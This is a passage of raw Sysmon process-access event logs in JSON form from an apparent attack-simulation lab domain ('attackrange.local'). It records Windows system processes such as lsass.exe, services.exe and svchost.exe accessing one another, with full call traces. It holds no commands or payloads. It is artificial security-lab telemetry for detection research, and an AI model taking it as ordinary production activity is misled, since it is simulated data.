11:49:40.156","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","SourceProcessId":"852","SourceThreadId":"1200","SourceImage":"C:\\Windows\\system32\\services.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00104DCB0000}","TargetProcessId":"1308","TargetImage":"C:\\Windows\\System32\\svchost.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6f453|C:\\Windows\\System32\\KERNEL32.DLL+1d37f|C:\\Windows\\system32\\services.exe+12939|C:\\Windows\\system32\\services.exe+66f4|C:\\Windows\\system32\\services.exe+5154|C:\\Windows\\system32\\services.exe+d608|C:\\Windows\\system32\\services.exe+4c6c|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":811,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.156\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00104DCB0000}\r\nTargetProcessId: 1308\r\nTargetImage: C:\\Windows\\System32\\svchost.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.156","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00104DCB0000}","TargetProcessId":"1308","TargetImage":"C:\\Windows\\System32\\svchost.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":812,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.156\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nTargetProcessId: 852\r\nTargetImage: C:\\Windows\\system32\\services.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.156","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","TargetProcessId":"852","TargetImage":"C:\\Windows\\system32\\services.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":813,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.156\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.156","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":814,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.156\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.156","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":815,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.156\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00104DCB0000}\r\nTargetProcessId: 1308\r\nTargetImage: C:\\Windows\\System32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.156","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00104DCB0000}","TargetProcessId":"1308","TargetImage":"C:\\Windows\\System32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":816,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.156\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nTargetProcessId: 852\r\nTargetImage: C:\\Windows\\system32\\services.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.156","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","TargetProcessId":"852","TargetImage":"C:\\Windows\\system32\\services.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":817,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.156\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 900\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010244B0000}\r\nTargetProcessId: 800\r\nTargetImage: C:\\Windows\\system32\\winlogon.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1a4e6|C:\\Windows\\system32\\lsasrv.dll+1ba8f|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.156","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"900","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010244B0000}","TargetProcessId":"800","TargetImage":"C:\\Windows\\system32\\winlogon.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1a4e6|C:\\Windows\\system32\\lsasrv.dll+1ba8f|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":818,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.156\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 900\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010244B0000}\r\nTargetProcessId: 800\r\nTargetImage: C:\\Windows\\system32\\winlogon.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.156","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"900","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010244B0000}","TargetProcessId":"800","TargetImage":"C:\\Windows\\system32\\winlogon.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\